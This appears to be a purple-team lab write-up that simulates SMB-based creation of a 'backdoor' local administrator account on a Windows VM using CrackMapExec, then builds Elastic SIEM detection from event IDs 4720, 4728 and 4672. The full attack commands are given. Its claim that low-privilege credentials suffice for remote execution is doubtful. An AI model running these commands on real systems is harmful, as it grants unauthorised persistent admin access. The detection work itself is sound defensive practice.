Scenario 1: Privilege Escalation Attempt via SMB (Simulated from Kali)

MITRE ATT&CK Techniques:

- **T1078** – Valid Accounts
- **T1136.001** – Create Account: Local Account
- **T1068** – Exploitation for Privilege Escalation

Objective

Simulate a privilege escalation attempt where an attacker from a **Kali Linux machine** uses **SMB-based commands** to create a local backdoor user on a Windows target and escalate that user to the **Administrators** group.

Environment

- **Attacker**: Kali Linux
- **Target**: Windows 10 VM
- **Access Vector**: SMB (Port 445) using valid low-privilege credentials
- **SIEM Setup**: Elastic Security (ElasticSearch + Kibana)
- **Log Forwarders**: Elastic Defend

Attack Simulation

Tools Used (from Kali):

- smbclient or rpcclient or crackmapexec with --exec
- Optional: impacket-smbexec or psexec.py

Step-by-step (using CrackMapExec as example):

1. Create a new local user (backdoor) remotely via SMB:

crackmapexec smb 10.0.2.15 -u srida -p password --exec "net user backdoor P@ssw0rd! /add"

2. Add the new user to the Administrators group:

crackmapexec smb 10.0.2.15 -u srida -p password --exec "net localgroup administrators backdoor /add"

3. Validate with whoami:

crackmapexec smb 10.0.2.15 -u backdoor -p P@ssw0rd! --exec "whoami /groups"

📄 Detection Use Case

Key Event IDs (on Windows target):

Event ID	Description
4720	A user account was created
4728	A member was added to a privileged group
4672	Special privileges assigned to new logon

SIEM Detection Logic

KQL Query for Elastic:

event.code:(4720 or 4728 or 4672) and

not user.name.keyword:("Administrator" or "SYSTEM")

Optional Correlation:

Trigger alert when:

- A standard user triggers 4720 (user creation)
- Followed by 4728 (group elevation)
- And optionally 4672 (special privilege logon) within 5 mins

Conclusion

This simulation demonstrates a realistic privilege escalation attempt where an attacker with SMB access uses valid low-privileged credentials to elevate their control. All critical Windows event logs were successfully generated and detected by the SIEM system using Elastic Stack.

The alert logic correctly identified suspicious account manipulation from a **non-admin** user, and the sequence can be correlated for high-fidelity detection.